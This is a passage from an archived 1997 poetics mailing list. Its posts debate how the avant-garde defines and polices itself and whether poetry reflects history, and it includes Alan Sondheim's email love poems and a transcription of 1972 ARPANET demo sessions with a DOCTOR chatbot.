and finally, in maria's initial posting, she referes to "_the_ avant garde" (emphasis added), and i'm wondering if you'll be more specific, md? because i don't see a.g. activity, even in areas poetical, as being singular but rather diverse... hard for me to imagine a guerrilla war against the Established Culture launching a frontal offensive, there are lots ov little forays goin on... some (i'll mention Mail Art, fr one) strike me as very unprotective & open. what specific a.g.s are you thinking ov?

asever
luigi

william marsh wrote:
>
>there's been a lot of talk about this issue of late (here and elsewhere),
>and i'm wondering if anyone else feels the same confusion about it / the
>spatial analogy here, that the a-g is a particular zone or area of activity
>and therefore identifiable by its borders (and its potential policing of
>borders) is the main source of my confusion / when did the "avant garde"
>come to represent a group or subgroup or "subfield in a larger field" as
>David Kellogg puts? -- the classificatory scheme strikes me as fundamentally
>at odds with what the a-g has always represented to me, namely a kind of
>momentum that infuses artistic activities and (sometimes) instigates change
>/ if current notions of an avant-garde stipulate that it exists as a group
>among groups (and i agree with Charles Alexander that it is not a "unified
>thing"), then clearly there must be an *alternative* avant-garde which
>escapes such classification -- which makes it even more confusing / if the
>a-g is the *leading edge* of activity, then how can an edge have a "border"?
>not to mention a police force monitoring transgressions / i can't imagine
>(literally can't see) the avant-garde in such a context... / wouldn't any
>definition of the a-g as a group be a misappropriation of the term?
>
>bill marsh

in reply to maria damian:

> *okay all you sweet yukyuks out there, i've got a question: why does "the avant garde" seem to need to police its borders so rigidly? how does some thing get defined or not as "avant garde?" i'm spozed to give a talk in November and i want to challenge what i see as some of the closedness of the avant garde tradition or at least the way it's construed by most of its critics.--md*

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77. Alan J Sondheim
You
Tue 5 Aug 1997

(tiny romantic poem, not Jennifer, not Julu, in the strange world of the Poetics-space, slightly out of place, sometimes I cry myself to sleep) -++--

You

Your packets and mine, intertwined, subdomains alternating one after another, caressing your ascii-encoded limbs, opening your email over and over again;

holding my breath against your domain address, turning towards, always towards, your name in my Inbox, reading your full header, pausing at each stage tracerouting myself to you, and back, journey of space, copper, and fiber-optic heavens;

calling out your URL in my sleep, dreaming your green words on my black screen, voicing your writing, speaking it quietly in your absent voice, and I close my eyes, imagine the play of interrupts from keyboard through server out to the wide wide world;

wanting you here, no longer driven by pixels bitmapped through checksums and error-codes, wanting you here;

wanting you here, wanting you here and hating distance and impossibility, and lags, and message-bases, and five layers of numerous protocols, seven layers of others, two layers of ascii code, one layer of beating hearts, filter systems and error warnings, country-code after country code inter- spersed in the midst of unknown ISPs and Netstorms, wanting nothing more than the loving touch of an arm, weight of a finger against lips, parted, and

just about to speak, and silent, and no need to say anything more

---

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78. Holly Crawford
Re: ahistroical lunch
Tue 5 Aug 1997

>Okay. Can I go back to what I thought Jordan's original subject was,
>namely "history," and its capability of being reflected (or not) in verse?
"... I think that was ONE of the things that Michael Gold was
>saying about Gertrude Stein, that her work was exactly "a-historical" in

>that sense. It's all-at-once, it's simultaneous, it directs attention, as
>Ron Silliman might say, to the level of the sentence, and not what came
>before it. Thus the inequitous capitalistic system continues, I guess was
>Gold's point, because creative artists have given up that part of the job
>description that their work be "the tale of the tribe", that they
>themselves be "antennae of the race", that their work MATTER in and for
>the world. They've opted instead for the continuous present.

"... because creative artists have given up that part of the job
>description that their work be 'the tale of the tribe', that they
>themselves be 'antennae of the race'"

What is preceived to be a-historical may not be at all. It's depends on ones perspective. History defined from one point of view of that single point on the horizon line maybe just as ahistorical as and not "the tale of the tribe' as what is being perceived as "a-historical."

Artists haven't "give up their job" they may just be perceiving something different.

Every generation has been criticized for a short attention span. A hundred years ago this was the complaint registered against the Impressionist and the Paris audience. They were a "hysterical" group that couldn't concentrate.

H

Offerings Project
Send me an offer.
URL:http://www-leland.stanford.edu/~geo/holly_crawford.html

↑ Index

79. Rachel Levitsky

Re: You

Tue 5 Aug 1997

Alan Sondheim's poem--I imagine an arty commercial about sci fi life in the 90's, your computer can in fact hold you, love you. Begs the question, is there a difference between art and advertising? Is it true, as a friend says, the best writers are writing adline?

↑ Index

80. Alan J Sondheim
Re: You
Wed 6 Aug 1997

But the computer can't, and that's the whole point. The text is about ruptured protocols, not successful ones.

What constitutes the "best" writers?

Alan

On Tue, 5 Aug 1997, Rachel Levitsky wrote:

> *Alan Sondheim's poem--I imagine an arty commercial about sci fi life in the 90's, your computer can in fact hold you, love you. Begs the question, is there a difference between art and advertising? Is it true, as a friend says, the best writers are writing adline?*

↑ Index

81. Hugh Steinberg
Re: ahistroical lunch
Wed 6 Aug 1997

> *Okay. Can I go back to what I thought Jordan's original subject was, namely "history," and its capability of being reflected (or not) in verse?*

I'd like to take this from another angle: why shouldn't a writer want to write through/about history? I can't think of a richer, more delicious field to pursue/romp through. If history is the field in which language is embedded in, why not explore that place?

Hugh Steinberg

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82. R I Caddel
fragmente 7
Wed 6 Aug 1997

Now available: Fragmente 7 (1997) ed. Anthony Mellors

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83. David Bromige
alan sondheim's "you"
Wed 6 Aug 1997

this poet catches my heart in its throat. How many i wonder wont find identity with it. alan shows himself again to be _the_ poet of our e-mail situations. David

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84. David R. Israel
Re: ahistroical lunch
Wed 6 Aug 1997

Hugh Steinberg wrote:

> *Okay. Can I go back to what I thought Jordan's original subject was, namely "history," and its capability of being reflected (or not) in verse?*
>
> *I'd like to take this from another angle: why shouldn't a writer want to write through/about history? I can't think of a richer, more delicious field to pursue/romp through. If history is the field in which language is embedded in, why not explore that place?*

all that stuff about writers abdicating their duty by getting lost in the contours of the ahistorical present, rather than dutifully directing the minions of readers to the place where decisions are made: the world of jostle & bustle & power & schmauer -- could be usefully turned on its head, in my hysterical opinion (imho).

Possibly the artistic imperative is to get OUT of histoery a little step or two now & then, eh? -- cf. the sort of ahistorical time = mythic time (paradoxically, participating in the "true history of the tribe") suggested by Mircea Eliade in *The Myth of The Eternal Return*. To paraphrase, that august historian of the prehistorical proposes that in storytelling ritual of arcane cultures, the first and most basic thing that happens is an exit from "profane time" and an entry into the symbol world of collective mythic events -- in particular, "what happened" at

the beginning of things (i.e., in another level of reality) that *generated* the historical particulars of the world we see . . .

Arguably, this manner of radical phase-shift has very much been a concern of poets of many a stripe & clime & chimney, -- throughout, um, history . . .

d.i.

```
 .
 .....
 ............
 \\\\
```

↑ Index

86. **henry g**
Re: ahistroical lunch
Wed 6 Aug 1997

I could be wrong, but I think Jordan's original reference was to a debate here many moons ago over Mutlu Blasing's book POLITICS & FORM IN POSTMODERN POETRY, where she criticized the Olson-language poetry vein for following Pound into a too-easy melding of poetry & politics, poetry & history - in favor of her own pantheon of "really" postmodernists who more "intelligently" [my quotes] follow the zeitgeist of ironizing & questioning & ambiguizing the reality-element or referential quality of poetry, in their poetry.

In this stream, the critical perspective of Blasing, De Man, et al. takes New Criticism & gives it an extra twist, but the outcome is about the same.

James Longenbach's book on Wallace Stevens has a very good analysis of this whole issue in relation to politics & poetry in the 30s, when this was all debated very intensely. Basically, the issue of the poet's & poetry's place in "the world" was extremely important to Stevens who wavered between left & right tendencies [o.k. I know I'm SIMPLIFYING] & came down to the position that poetry was not the Shelleyan unacknowledged legislator, that politics and public action is better accomplished by politics & public action, but that poetry does have a role in a shared collective life by working out its own special energies. Stevens was close to Kenneth Burke (another one blasted by Michael Gold & the dogmatists) & the italian philospher Croce - ambiguity in poetry was not an expression of language's inherent nominalism or of some totalizing postmodern language philosophy, but was a TOOL for really reflecting the many-sided moral complexity of history & politics. Only AFTER the 30s did this become New Critical dogma & the academicization of the poetry industry got underway.

In my own view "history" is just an essential basic quality of time & that poetry would reflect on it should be taken for granted. This is just the beginning of discovering what a particular poem or poet is saying, doing, making. It also might be the great theme or deep vision [or little quirk] of the poem, its essential focus. I think ambiguity here is welcome because the arguments that 1) history is just one damn thing after another and 2) history ignored is complacent stupidity are both right at some level. What makes a poem as opposed to a chronicle? - Henry Gould

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87. Jordan Davis
any lunch in a hysteria
Wed 6 Aug 1997

Thanks, Hugh, Henry, (Alan), and David, for some pointers on disynchrony/asynchrony I mean diachronics I mean Braudel I mean whatever. (Whatever is not a code word!) Letter to the New Yorker this week from a Mr Dye in the nwest who complains that after Auden poetry has ceased to be memorable speech and has settled for "much less" -- a kind of shorthand epistemology, esp. in the work of Jorie Graham and John Ashbery.

But isn't the 'how-do-I-know' of Ashbery's work not that far from Stevens not that far from Coleridge? I mean, can't one take Auden as a kind of popularizing freak (freak is a code word), a sort of forgiveable (because surprising) version of Wynton Marsalis? (And aren't there a lot of audenesque tendencies in Ashbery? the doggerel, the encyclopedic command of form -- or at least the occasional mention of obscure forms -- these are not putdowns!)

I mention the New Yorker letter because the symptom I see there, in Henry's version of Blasing, and all over the place all the time -- is the complain that poetry loses something .. that it is less than. It is always less than.

Oh well! As we know, the category of the 'always-already' is a great zone for arbitrage and not much else. Historin', as a much larger poet used to say, means to find out for yourself.

Still/here,
Jordan

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88. Matthias Regan
Please remove from list
Wed 6 Aug 1997

The subscriber to this list is no longer at this address. When he arrives at his new location, perhaps he will subscribe again, but for the time being, please remove this destination from the "Send To" list.

Thanks

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89. Maria Damon
"*avantgarde*"
Wed 6 Aug 1997

okay all you sweet yukyuks out there, i've got a question: why does "the avant garde" seem to need to police its borders so rigidly? how does some thing get defined or not as "avant garde?" i'm spozed to give a talk in November and i want to challenge what i see as some of the closedness of the avant garde tradition or at least the way it's construed by most of its critics.--md

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90. henr
Re: any lunch in a hysteria
Wed 6 Aug 1997

On Wed, 6 Aug 1997 09:14:15 -0400 Jordan Davis said:
>I mention the New Yorker letter because the symptom I see there, in
>Henry's version of Blasing, and all over the place all the time -- is the
>complain that poetry loses something .. that it is less than. It is always
>less than.

Spandrift tells me there's a Super Poet named Jeff out there. Lives near him in Weast Fareaver Ambiguity, Wyo. Jeff manages to combine history, correct politics, political incorrectedness, playful verbal pyromania, emotive heart-schmoozing, lovable mistakes, insane fury, loose jams within tight stanzas, experiment WITH traditional mayonnaise, slang in less than 3 languages, and quick shifts in technique - all in the form of INNOVATIVE HAIKU!!! Ashbery has a blurb about him INSIDE the blurbs on the outside of his latest book.

There was a movie at Sundance about him, called "Where's Jeff?" I think it stars Jeff Bridges. Spandrift looked at me seriously over a lid of chew the other day and said, "I'd vote for Jeff for President right now - President of Boulder." - Henry Gould

↑ Index

91. Judy Roitman
Re: lunch at the public: is it possible?
Wed 6 Aug 1997

Joe Safdie writes:

> *But the idea for POETICS people is what I (again) thought Jordan was raising. There is some poetry being written today for which "history" is not important. I think that was ONE of the things that Michael Gold was saying about Gertrude Stein, that her work was exactly "a-historical" in*

> *that sense. It's all-at-once, it's simultaneous, it directs attention, as Ron Silliman might say, to the level of the sentence, and not what came before it. Thus the inequitous capitalistic system continues, I guess was Gold's point, because creative artists have given up that part of the job description that their work be "the tale of the tribe", that they themselves be "antennae of the race", that their work MATTER in and for the world. They've opted instead for the continuous present.*

Whoa there. The continuous present --- the real one, not the fake one of tv ads and video games --- is a pretty damn good antidote to any inequitous system, and the level of the sentence is a good innoculator against the bullshit causality that proudly brings you Northern Ireland,the Balkans (Bosnia not being the only manifestation of that particular tangle), the Middle East, Rwanda and Burundi, Afghanistan, the Khmer Rouge, etc. etc.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
---
http://titania.math.ukans.edu/faculty/roitman/

↑ Index

92. aerialedge
The night and the snow
Wed 6 Aug 1997

Seems to me the question is whether & to what degree the micro-political is historical. I don't think in the end totalizing social-constructivist arguments hold up-- that's because no context is finite. What's happening & what happened -- same question? One could say there is a dialectic betweeen history & not-history relative to artistic activity of any sort & I would relate that dialectic to a similar (asimilar?) dialectic between sense & nonsense.

To err is statemental. --Bruce Andrews

History, what did the rose do? --Bernadette Mayer

↑ Index

93. David Kellogg
Re: "avantgarde"
Wed 6 Aug 1997

On Wed, 6 Aug 1997, Maria Damon wrote:

> *okay all you sweet yukyuks out there, i've got a question: why does "the avant garde" seem to need to police its borders so rigidly? how does some thing get defined or not as "avant garde?" i'm spozed to give a talk in November and i want to challenge what i see as some of the closedness of the avant garde tradition or at least the way it's construed by most of its critics.--md*

maria, I don't mean to monkeywrench your issue, but is it clear that the avant-garde is _more_ closed than other non-mainstream movements in contemporary poetics? It seems to me that policing is a component of any contested subfield within the larger field, and that such communities as "new formalist" and "performance" poetics each have their own forms of policing. What, in your view, are the distinguishing marks, if any, of avant-garde self-policing as such? Or have I misunderstood your question (lately, with me, more likely than not)?

Cheers,
David
~~~
~~~

>relate that dialectic to a similar (asimilar?) dialectic between sense &
>nonsense.
>
>To err is statemental. --Bruce Andrews
>
>History, what did the rose do? --Bernadette Mayer

the idea of "history" as we know it (progress or retreat over time) also contains the idea of utopia (what transcends itself). For a lot of poets in the midst of 20th cent. utopias/despair the idea of hope was indeed micro-political, i.e., domestic in different ways. For Stevens, for example, the humdrum, the everyday, the normal is where to look for sanity & hope. the Dutch in him. Williams too, in a way. & Mandelstam talked again & again about the utopia of the household. just ONE other aspect of all this. Justice has a practical, sensible side... & "divine philology", for OM, was a bunch of students & a teacher sitting around talking. vodkayaking.

"Literature is a beast, furred by night & winter" - Mandelstam

--I say Blarnes, would you mind passing out the doilies? [Spandrift again]

↑ Index

95. Charles Alexander

Re: "avantgarde"

Wed 6 Aug 1997

At 09:14 AM 8/6/97 -0500, you wrote:
>okay all you sweet yukyuks out there, i've got a question: why does "the
>avant garde" seem to need to police its borders so rigidly? how does some
>thing get defined or not as "avant garde?" i'm spozed to give a talk in
>November and i want to challenge what i see as some of the closedness of
>the avant garde tradition or at least the way it's construed by most of its
>critics.--md

Maria, I don't think it's true that there is any unified thing such as "the avant garde." And I think most people involved in practices which might be considered such, do not feel such a need to police the borders. I do think that some of those who might want to so police borders can be quite loud about such policing. And such loudness gets a lot of attention, at least in the short term.

But it's just not like a gated community.

charles

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

↑ Index

96. Eryque Gleason

Re: The night and the snow

Wed 6 Aug 1997

At 1:00 PM 8/6/97 -0400, [redacted] wrote:
>Seems to me the question is whether & to what degree the micro-political is
>historical.

what isn't historical?

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97. KENT JOHNSON

yasusada

Wed 6 Aug 1997

Hello! Just back yesterday from the beach, with pails full of shells and shark teeth and only a driver's license in the wallet.

For those interested in developments related to the Yasusada writings, I thought I'd mention the following:

Today, August 6th, the Asahi Shimbun (the equivalent to NY Times in Japan, circulation 8.5 million), is going to publish an extensive story on Yasusada and the reaction to his writings in this country.

Recently, there have been other articles (though I haven't seen any of them yet) in Australia in the Sydney Morning Herald, in England in the Manchester Guardian and in Poetry Review, in Mexico in Octavio Paz's Vuelta, and in Spain in Lateral, a monthly from Barcelona. The Denver Quarterly will soon be publishing a special section on Yasusada in its upcoming issue, including an interview with myself and Javier Alvarez and a letter to Tosa Motokiyu from Mikhail Epstein. Other things are scheduled to appear elsewhere, and I'll mention them for information's sake as they appear if no one else does.

Good to be back! I like Maria Damon's question freshly posted: Just what *is* the "avant-garde"? And what sort of thing does it do? Kent

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98. Tenney Nathanson
dyed in the WHAT? WHO? WHOO!
Wed 6 Aug 1997

Jordon wrote:

> *Thanks, Hugh, Henry, (Alan), and David, for some pointers on disynchrony/asynchrony I mean diachronics I mean Braudel I mean whatever. (Whatever is not a code word!) Letter to the New Yorker this week from a Mr Dye in the nwest who complains that after Auden poetry has ceased to be memorable speech and has settled for "much less" -- a kind of shorthand epistemology, esp. in the work of Jorie Graham and John Ashbery.*

would that be FRED Dye? which issue?

putting arizona (and the u of, english dept of?) on the map again? AGAIN?

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

99. Christopher Alexander
Re: "avantgarde"
Wed 6 Aug 1997

Maria—
I'd like to put in with both Charles & David here for a closer scrutiny of "avant garde". I take it that the term is convenient, but dangerous as it quickly leads to the concept of a *unified* ["muffled"] avant garde, usually defined as either "pure nonsense", as against the rich diversity of "traditional" works (& this argument seems almost always to have something to do with its being "inhuman" or "asocial", though it might be of the more general variety Jordan rehearsed a few moments ago—!? etime, I guess—, viz., the fallenness of contemporary art/man [sic]); or or defined as "innovative" ["freshness sealed"], as against the stale practices of the "academicians" or unselfconscious "mainstream" verse ["oops, another one"].

I think we're all subject to this kind of easy distinction,
at least from time to time (or anyway I am), & that's
fine & useful so long as we acknowledge that "avant garde",
or for that matter the "arriere garde" ["nobody ever said
it, man"], are shorthand for multiple subfields (thanks
to David-Pierre Kellogg!), whose practices don't really
fulfill "the dream of a unified field", & may even be
deeply conflictual.

interesting that you cite "the closedness of the avant garde tradition" as in part "the way it's construed by most of its critics"—I wld say—ah but it were a lie, being only partly true—that necessary policing by critics—& there's the rub—indicates how unstable the use of such ["their"] an umbrella term really is, & its distance from practice. of course, as David has already noted, all subfields of a given field (in this case the field of poetic production, or as he wld call it, "the poetic")—& not even just the highly contested ones—do their own policing ["the police in voices"].

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]

P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

100. Christopher Alexander

Re: avant garde

Wed 6 Aug 1997

---

oops, did I say Jordan? I meant Holly ("Re: ahistorical lunch). sorry to be cluttering the bandwidth...

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]

P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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101. william marsh
"*alternative*avant-garde"
Wed 6 Aug 1997

> *At 09:14 AM 8/6/97 -0500, you wrote:*
> *okay all you sweet yukyuks out there, i've got a question: why does "the avant garde" seem to need to police its borders so rigidly? how does some thing get defined or not as "avant garde?" i'm spozed to give a talk in November and i want to challenge what i see as some of the closedness of the avant garde tradition or at least the way it's construed by most of its critics.--md*

there's been a lot of talk about this issue of late (here and elsewhere), and i'm wondering if anyone else feels the same confusion about it / the spatial analogy here, that the a-g is a particular zone or area of activity and therefore identifiable by its borders (and its potential policing of borders) is the main source of my confusion / when did the "avant garde" come to represent a group or subgroup or "subfield in a larger field" as David Kellogg puts? -- the classificatory scheme strikes me as fundamentally at odds with what the a-g has always represented to me, namely a kind of momentum that infuses artistic activities and (sometimes) instigates change / if current notions of an avant-garde stipulate that it exists as a group among groups (and i agree with Charles Alexander that it is not a "unified thing"), then clearly there must be an *alternative* avant-garde which escapes such classification -- which makes it even more confusing / if the a-g is the *leading edge* of activity, then how can an edge have a "border"? not to mention a police force monitoring transgressions / i can't imagine (literally can't see) the avant-garde in such a context... / wouldn't any definition of the a-g as a group be a misappropriation of the term?

bill marsh

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102. Peter Landers
yuk yuk
Wed 6 Aug 1997

Clark Coolidge was seeking a personal language. He felt that words came from others, perhaps he felt they were abused by others, and therefore he wanted to let them stand alone or in groups without necessarily meaning what people thought them to mean. The hope was that the words would begin to work as sound objects. Yuk yuk.

Jackson MacLow is involved in the very historical, or pre-historical process of poetry-as-shamanism. Sounds, dance, words in new peronal ritual. Write rite. Yuk yuk.

All best to you, Jordan, but I dig these guys, y'know :-)

Pete

↑ Index

103. Lawrence Upton
yunga brit yak-yaks for jordan n all
Wed 6 Aug 1997

Re cris cheek's list of _People you might well keep an ear-eye out for include_

RWC is publishing an issue of Scott Thurston and a chunky edition of Ira Lightman - both late this year or early next

L

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104. David Kellogg
*Re: "*alternative*avant-garde"*
Wed 6 Aug 1997

On Wed, 6 Aug 1997, william marsh wrote:

> *At 09:14 AM 8/6/97 -0500, you wrote:*
> *okay all you sweet yukyuks out there, i've got a question: why does "the avant garde" seem to need to police its borders so rigidly? how does some thing get defined or not as "avant garde?" i'm spozed to give a talk in November and i want to challenge what i see as some of the closedness of the avant garde tradition or at least the way it's construed by most of its critics.--md*
>
> *there's been a lot of talk about this issue of late (here and elsewhere), and i'm wondering if anyone else feels the same confusion about it / the spatial analogy here, that the a-g is a particular zone or area of activity and therefore identifiable by its borders (and its potential policing of borders) is the main source of my confusion / when did the "avant garde" come to represent a group or subgroup or "subfield in a larger field" as David Kellogg puts? -- the classificatory scheme strikes me as fundamentally at odds with what the a-g has always represented to me, namely a kind of momentum that infuses artistic activities and (sometimes) instigates change / if current notions of an avant-garde stipulate that it exists as a group among groups (and i agree with Charles Alexander that it is not a "unified thing"), then clearly there must be an *alternative* avant-garde which*

> *escapes such classification -- which makes it even more confusing / if the a-g is the *leading edge* of activity, then how can an edge have a "border"? not to mention a police force monitoring transgressions / i can't imagine (literally can't see) the avant-garde in such a context... / wouldn't any definition of the a-g as a group be a misappropriation of the term?*

Isn't the charge of misappropriation itself a form of policing? I guess it depends who you're talking to (about). I realize spatial metaphors such as the Bourdieu/Foucault "field" have their disadvantages, but they may tend to counter the possible mystification of "a kind of momentum that unfuses artistic activities."

Cheers,
David
~~~
~~~

misappropriation? hmm, on the contrary, I'd
say that's exactly the function the term is serving
in this discussion.

it's interesting that you object to the spatialization
of the "avant garde", as my understanding of the the
term has always been as spatial metaphor (can we
have some help from the francophiles?), as opposed
for instance to the Americanism "before his/her time".
it seems awkward to paraphrase Bernstein here—or
maybe what's awk. is referring to him as "Bernstein",
when he might be "right here with us" (more spatial-
ization, but I'm reminded more of a seance—"are you
there, Charles? give us a sign...)—but one has to
appreciate his assertion that, dammit, no one is
before their time—ok, *really* paraphrasing—the
gist of which, as I see it, is partly to bring to mind
the historicity of production, & partly to debunk
the sort of evolutionary narrative that is sometimes
made of the history of (& by extension contemporary)
poetic production.

in fact, I'd be willing to entertain the idea that, whatever
its shortcomings, the spatial metaphor we've been batting
about ["b-b-b- spit it out, kid"], & its attendant theory
(Pierre Bourdieu, Foucault, possibly de Certeau etc.),
might be an effort precisely to escape the apparent
linearity of history, in favor of a more complex view of
(in this case) poetic production as it occurs both in &
at a time. actually, David, I'd be very interested to
hear what you had to say abt. this. (in case some of
you list-folk don't know, David Kellogg has some
very fine articles out there in just this "area", which
I'd recommend, except that I'm @ work & can't give
you the specific citations).

anyway, sorry to pull the plug & run—or does that
sound like a crude reference to euthanasia?—, but I'm
signing off for a wk. to help our fellow listee Matthias
Regan move to San Francisco. in fact, he'll be arriving
here in just... 8 hours, give or take. ah, SF—with such
a pleasant destination, who wldn't take a week, eh?

so, best to all, & I'll look forward to again reading your scintillating conversation when I return.

Chris
..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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107. william marsh
*Re: "*alternative*avant-garde"*
Wed 6 Aug 1997

At 05:57 PM 8/6/97 -0400, you wrote:

David,
>> wouldn't any definition of the a-g as a group be a misappropriation of
the term?
>
>Isn't the charge of misappropriation itself a form of policing? I guess
>it depends who you're talking to (about). I realize spatial metaphors
>such as the Bourdieu/Foucault "field" have their disadvantages, but they
>may tend to counter the possible mystification of "a kind of momentum
>that unfuses artistic activities."
>
interesting typo in the last line!

as for the charge of misappropriation as "a form of policing", i agree it depends who i'm talking about, and who i am, in fact, making the charge / am i inside the avant-garde making the claim, or outside? -- i don't really know, but the problem implied by this question is basically what i was hoping to point out / the tendency of late in some criticism to colonize the a-g with particular writers or at least writing tendencies--which would be a necessary prerequisite for any discussion of its border tactics--to me is a form of policing / pre-established borders and divisions have to be assumed before anyone can suggest that there are *guards in the garde*

all best,
bill

↑ Index

108. Schuchat Simon
Re: yasusada
Wed 6 Aug 1997

Are you pleased that the Asahi is publishing its Yasusada piece on Hiroshima day?

↑ Index

109. Eric Blarnes
Re: yuk yuk
Wed 6 Aug 1997

On Wed, 6 Aug 1997 17:01:19 -0400 Peter Landers said:
>Clark Coolidge was seeking a personal language. He felt that words came
>from others, perhaps he felt they were abused by others, and therefore he
>wanted to let them stand alone or in groups without necessarily meaning
>what people thought them to mean. The hope was that the words would begin
>to work as sound objects. Yuk yuk.
>
>Jackson MacLow is involved in the very historical, or pre-historical
>process of poetry-as-shamanism. Sounds, dance, words in new peronal
>ritual. Write rite. Yuk yuk.
>
Now if Mr. Gould is still on line, this is the kind of informative message
he could learn more about by simply crossing the street now & then & visiting
the Harris Collection, which luckily contains most of the poetry in America
including language poetry so-called. But he insists on wallowing in
grotesque labels & second-third-fourth-hand "knowledge" of various
"groups" writing poetry. This is probably because he's too self-centered
& lazy to lift his eyes above the current graduate dissertation he's
reading. Gould is a kind of parasite on the avant-garde - he joins a
language poetry-based innovative chat list & proceeds to fling critical
cliches about it back in their faces. As Charles Alexander said, it's
not a gated community, yet Gould feels it necessary to plunge into
pestiferous & silly "critical" heroics which are really only a joke.
- Eric Blarnes

Care to respond, Hank? Is that your lunchbox on the dump, or is that
Cornelius Nepo's?
- Spandrift

I'm stunned. I've got to read more of this stuff, I guess. I thought we were a
"label" culture, not a libel culture. Publicists are the Faustian bargain; labels
have sticky glue on them; critics are forever adding butterflies to either Box B

or Box C; poetry & the intelligence resist each other almost successfully - almost because they share an equivalent rawness traveling in reverse channels down Policeman's Ball Creek. Hey look! There goes a red-breasted Avant-Garde! Male or female? - Henry Gould

Well, I for one am gonna evaluate every clubfoot nag that snorts in my corral. Reject the trash. Think it through before you lay too much wire. & sure as hell don't try to write any "poetry". unless it's - [use label on reverse side only] COWBOY poetry. - Spandrift

↑ Index

110. Rachel Levitsky

*Re: "*alternative*avant-garde*"*

Wed 6 Aug 1997

We're not supposed to talk to anyone who isn't going to do the avant garde thing with this poetics list. R. Tejada labels a certain something as "advanced writing" and A. Sondheim asks in response to my question who are the 'best writers?' My take and the point I think I was making in my question about art and advertisement is do we still somehow believe the 'best' gets the job, the hot tub? What happens to the idea of grass rootification implied in the abdication of authorship while we are trying to make a place for 'advanced' or 'avant garde.' I think of performance art that never got recorded. C. Harryman told me of a friend whose name I am forgetting who did performance for an audience of one and no recording (later a book--it is difficult to resist the notion that ones ideas are good and should somehow be deciminated). Are we interested (really) in consciousness or (post-mortem) fame. Benjamin says the artist can't make art with an audience in mind but isn't defining ourselves as 'avant-garde' suggesting we are reaching to an audience of the future?

↑ Index

111. Alan J Sondheim

You, Here

Wed 6 Aug 1997

(now she won't tell, now I won't)
--+-

You, Here

splayed message-bases, eyes opened everywh
ah, your name, your face, your hands cares
the span of language, words, or touch whic
already a presence languishing. In this ma

the scent and taste of your hair, dark col
the screen fissuring into public and priva
that last look, I turned the corner, disap
within the other closeted, it's there I ho
self noted, sullen, catatonic, opened or c
face, I have no secrets from you, which is
this lack constructed of the fullness of l
takes on the real, and I rest, my head lea
turn to you in my sleep of desperate reaso
soulful life, in love I cried your name, "

↑ Index

112. **Carl Lynden Peters**
Re: "*alternative*avant-garde"
Thu 7 Aug 1997

how does that go - 'there is no avant-garde, only people who are a little late.' i'd appreciate the source if anyone may have it at the ready. c.

↑ Index

113. **Jordan Davis**
fxn of a-g (I/they)
Thu 7 Aug 1997

Kent Johnson asked - what is the function of the avant-garde.

I dunno.

Inconvenience the intellect?

Weed out harmful mutations -- no, that's sex --

Provoke order?

Jordan, homage to D.Israel-ee

↑ Index

114. **Alan J Sondheim**
Re: "*alternative*avant-garde"
Thu 7 Aug 1997

I make art with an audience in mind; I possess post-mortem fame.

I was walking with my friend I was walking with my friend Fido, Judith Rodenbeck, down Perry (where my ex-wife lives with her Japanese boyfriend) (I think)

and we were discus- sing _milieu,_ in particular, the artworld milieu of the 70s. How it gets reified, edited, year after year. I knew the curator at the High Museum in Atlanta - he wanted to have a show called Masterpieces of Conceptual Art

That was the nail in the coffin. Because in life, it's milieu, opposition, interstices, rumor. Not this dream of phallic men.

Klaus Kertess once said to me it all comes out in the wash. But it doesn't and boundaries, avant-garde and other - are self-inscribed.

I've yet to meet the artist who did _x_ to shock an audience, but I'd like to shake her/his hand.

Even the Situationists, or especially the Situationists, were exclusion- ists. (Word? Word!) Surrealism, Dada, was no better.

Avant-what, by whom?

I couldn't write without the thought of a reader, readers, that the _thing_ like depression, would take hold, grab ground after death. For that matter, I've died years ago.

I've never stolen anything - in answer to some rumors I've heard.

Alan

↑ Index

115. Alan J Sondheim

First Early Sample Internet (ARPANET) Exchanges 1972

Thu 7 Aug 1997

--++---

INTERNET, EARLY HISTORY: EXCHANGE STYLE EXAMPLES FROM:

SCENARIOS FOR USING THE ARPANET AT THE INTERNATIONAL CONFERENCE ON COMPUTER COMMUNICATION

Washington, D.C.
October 24-26, 1972

NOTE (Alan Sondheim, 1997): It's clear that the sample dialogs, use of Weizenbaum's Eliza program, etc., are the ancestors of today's expert systems - but at this point in time, they were most likely read as in- cipient artificial mind (classic AI). Already real and virtual subject- ivities interpenetrate.

The quoted sections above are formatted close to the original.

(Thanks to Alex McKenzie and BBN.)

EARLY SAMPLE CONVERSATIONS ON BBN TENEX:

====

BBN TENEX === HOST #65

8. To link to the user at TTY7:

@ link [SP] 7 [CR]
LINK FROM ICCC, TTY 103
@ ;hello ray. [CR] _Messages over "link" should be preceded by semi-colon._
@ ;HELLO, WHO IS IT? _Questions and comments from TTY7._
@ ;this is abhay bhushan from mit, can you help me? [CR]
@ ;OF COURSE, HOW ARE YOU ABHAY?
@ ..... _Conversation continues._
@ ;nice talking to you. bye. [CR]
@ break [CR] _Break the "link", please._

====

BBN DOCTOR === HOST #69

3. To run DOCTOR:
@ run [SP] <hacks>doctor [CR}
BBN LISP-10 02-22-71
GOOD AFTERNOON.
TELL ME YOUR PROBLEMS.
PLEASE TERMINATE INPUT WITH A PERIOD OR QUESTION MARK.
* i have a big problem. _The user begins as in a psychiatric interview._
I AM NOT SURE I UNDERSTAND YOU FULLY. _The DOCTOR continues the interview
in a lively fashion._
* my grandother has a gzorenplatz.
IS IT IMPORTANT TO YOU THAT YOUR GRANDMOTHER HAS A GZORENPLATZ?
.....
Continue dialog as your spirit carries you.
.....
* goodbye
IT'S BEEN MY PLEASURE, THAT'S $7.15 PLEASE.
NIL
<-

====

SCHOLAR ==== HOST #69

